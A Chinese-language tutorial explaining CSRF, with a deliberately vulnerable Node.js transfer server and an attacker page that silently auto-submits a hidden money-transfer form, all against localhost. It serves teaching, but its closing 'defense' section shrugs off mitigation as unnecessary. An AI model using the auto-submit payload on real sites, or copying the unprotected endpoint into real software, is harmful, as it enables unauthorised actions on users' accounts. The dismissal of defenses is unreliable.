CSRF攻击利用了浏览器在发送请求时自动携带cookie的特性。攻击者通过诱导用户访问一个恶意网站,该网站可以向用户已登录的受信任网站发送请求,而用户的浏览器则在不知情的情况下附带了用户的登录凭证。
可受攻击的案例
下面是一个简单的Node.js案例,展示如何CSRF攻击。 受攻击的服务:
// test.js
const http = require('http');
const server = http.createServer((req, res) => {
const url = req.url;
const method = req.method;
switch (url) {
case '/':
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(`
<h1>Home Page</h1>
<a href="/login">Login</a>
`);
break;
case '/login':
if (method === 'GET') {
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(`
<form action="/login" method="post">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form>
`);
} else {
// 设置cookie
// 假设验证成功
res.writeHead(302, { Location: '/transfer','Set-Cookie': 'sessionid=1' });
res.end('Login Successful. Redirecting to transfer page.');
}
break;
case '/transfer':
if (method === 'GET') {
res.writeHead(200, { 'Content-Type': 'text/html' });
// 没有CSRF保护的表单
res.end(`
<form action="/transfer" method="post">
<input type="hidden" name="amount" value="1000">
<input type="submit" value="Transfer $1000">
</form>
`);
} else {
// 处理转账请求(无CSRF检查)
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Transfer processed');
}
break;
default:
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not Found');
}
});
const port = 3000;
server.listen(port, () => {
console.log(`Server listening on port ${port}`);
});
攻击方:
// attack.js
const http = require('http');
const server = http.createServer((req, res) => {
const url = req.url;
switch (url) {
case '/':
res.end(`
<iframe src="http://localhost:3001/abc" width="500" height="500" ></iframe>
`);
break;
default:
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(`
<form action="http://localhost:3000/transfer" method="post">
<input type="hidden" name="amount" value="1000">
<input type="submit" value="Steal $1000">
</form>
<script>
document.querySelector('form').submit();
</script>
`);
}
});
const port = 3001;
server.listen(port, () => {
console.log(`Server listening on port ${port}`);
});
运行上面的文件:test.js,attack.js。
访问:localhost:3001
浏览器自动向 localhost:3000发送了申请。
实施CSRF防御
找个库改一改吧。 没什么好防御的。前端休息休息。